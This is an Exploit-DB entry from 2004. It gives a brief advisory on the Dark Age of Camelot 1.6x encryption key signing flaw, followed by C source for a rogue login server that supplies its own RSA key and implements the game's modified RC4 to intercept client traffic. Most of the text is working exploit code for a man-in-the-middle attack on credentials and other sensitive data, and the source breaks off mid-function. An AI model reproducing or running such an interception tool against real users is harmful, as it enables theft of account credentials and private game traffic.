Exploit-DB #23873
Description: Mythic Entertainment Dark Age of Camelot 1.6x - Encryption Key Signing
Type: remote
Platform: multiple
Date: 2004-03-23
Author: Todd Chapman

Exploit:
// source: https://www.securityfocus.com/bid/9960/info

An encryption key signing vulnerability has been reported to exist in Dark Age of Camelot. This issue is due to a design error in the application that carries out encryption without having the encryption key signed or verified by the affected server.

This issue may allow for an attacker to carry out man-in-the-middle attacks against a vulnerable system. Successful exploitation may allow an attacker to gain access to sensitive information transmitted between the client and the games server.

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>
#include "mycrypt.h"

#define SYMKEY_SIZE 256
/*
       Used in setup_crypt().
       Set next line to 1 for 1.67/initial 1.68 client (dated 1/15/04).
       Set it to 2 for 'fixed' client (current is dated 3/1/04)
*/
#define LOGIN_PROTOCOL_VERSION 1

rsa_key key;
prng_state prng;
unsigned char exported_key_buffer[512];
unsigned long exported_key_len;

struct daoc_packet_header {
    unsigned char ESC1;
    unsigned char ESC2;
    unsigned short payload_size; // net byte order
};

struct daoc_packet_payload {
    unsigned short command_id;  // packet type in net byte order
    unsigned char data;
};

struct daoc_packet {
    struct daoc_packet_header header;
    struct daoc_packet_payload payload;
};

struct daoc_socket_state {
    int socket;
    int sym_key_set;
    unsigned char sym_sbox[256];
    int bytes_read_total;
    int bytes_read_payload;
    int expected_payload_size;
    struct daoc_packet_payload *payload;
} client_sock_state;

typedef struct daoc_socket_state SOCKSTATE;

#define my_ntohs(p) (p[0] << 8) | p[1]

void bytes_out(unsigned char *data, int len)
{
    int linepos = 0;
    char ascii[17];
    ascii[16] = 0;
    memset(ascii, '.', sizeof(ascii)-1);

    while (len--) {
        if (*data >= ' ' && *data <= '~')
            ascii[linepos] = *data;

        printf("%02X ", *data);
        data++;
        linepos = (linepos + 1) % 16;;

        if (!linepos) {
            printf(" %s\n", ascii);
            memset(ascii, '.', sizeof(ascii)-1);
        }
    }

    if (!linepos)
        return;

    while (linepos) {
        ascii[linepos] = ' ';
        printf("   ");
        linepos = (linepos + 1) % 16;;
    }
    printf(" %s\n", ascii);
}

void write_str(unsigned char **d, const char *s)
{
    unsigned short size;
    unsigned char *x = *d;

    size = strlen(s);
    x[0] = size >> 8;
    x[1] = size & 0xff;
    memcpy(&x[2], s, size);
    *d += size + 2;
}

char *dump_str(unsigned char **d)
{
    static char buff[256];
    int size;
    unsigned char *p;
    p = *d;

    size = my_ntohs(p);
    memcpy(buff, p+2, size);
    buff[size] = 0;
    *d += size + 2;
    return buff;
}

void print_usage(void)
{
    printf("Usage: mystic2 <port>\n");
    printf("\t<port> usually between 10500 and 10504 inclusive.\n");
}

int setup_crypt(void)
{
    int err;

    if(register_prng(&yarrow_desc) != CRYPT_OK) {
        printf("Could not register prng.\n");
        return -1;
    }
    printf("prng registered...\n");

    if ((err = rng_make_prng(128, find_prng("yarrow"), &prng, NULL)) != CRYPT_OK)  {
        printf("Could not make prng: %s\n", error_to_string(err));
        return -1;
    }

    /* generate a 1536 bit RSA key.  This duplicates the exported key size
       of Mythic's algorithm, but other sizes would work as well */
    if ((err = rsa_make_key(&prng, find_prng("yarrow"), 192, 65537, &key)) != CRYPT_OK) {
        printf("Could not generate RSA key: %s\n", error_to_string(err));
        return -1;
    }
    printf("RSA key generated...\n");

    /* export the key starting at keybuff[10] so we can prepend the
       fixed header the client expects */
    exported_key_len = sizeof(exported_key_buffer);
    if ((err = rsa_export(&exported_key_buffer[10], &exported_key_len, PK_PUBLIC, &key)) != CRYPT_OK) {
        printf("Could not export RSA public key: %s\n", error_to_string(err));
        return -1;
    }
    printf("RSA public key exported (%lu bytes)...\n", exported_key_len);

    /* some sort of protocol version information proceeds the key when
       we send it. If not correct, login.dll generates version mismatch 
	       error message. */
    *((unsigned long *)&exported_key_buffer[0]) = htonl(LOGIN_PROTOCOL_VERSION);
    *((unsigned short *)&exported_key_buffer[4]) = htons(1);
    /* add the size */
    *((unsigned short *)&exported_key_buffer[6]) = htons(exported_key_len);
    *((unsigned short *)&exported_key_buffer[8]) = htons(exported_key_len);

    return 0;
}

void cleanup_crypt(void)
{
    /* this never gets called because we never cleanly exit, but
       here it is for completeness */
    rsa_free(&key);
    unregister_prng(&yarrow_desc);
}

void symcrypt_in_place(unsigned char *buff, int len)
/* This is mostly a copy of the libTomCrypt::rc4_read() */
{
    int x, y;
    unsigned char *s, tmp, tmp_sym_sbox[SYMKEY_SIZE];;
    int midpoint, pos;

    /* restart the key stream generator on every crypt */
    memcpy(tmp_sym_sbox, client_sock_state.sym_sbox, 256);

    x = 0;
    y = 0;
    s = tmp_sym_sbox;
    /* it is not standard RC4 practice to break a block in half, but packets
     from mythic's client have a sequence number at the beginning which
     would be easily guessable */
    midpoint = len / 2;

    for (pos=midpoint; pos<len; pos++) {
        x = (x + 1) & 255;
        y = (y + s[x]) & 255;
        tmp = s[x]; s[x] = s[y]; s[y] = tmp;
        tmp = (s[x] + s[y]) & 255;
        y = (y + buff[pos]) & 255;  // this is not standard RC4 here
        buff[pos] ^= s[tmp];
    }
    for (pos=0; pos<midpoint; pos++) {
        x = (x + 1) & 255;
        y = (y + s[x]) & 255;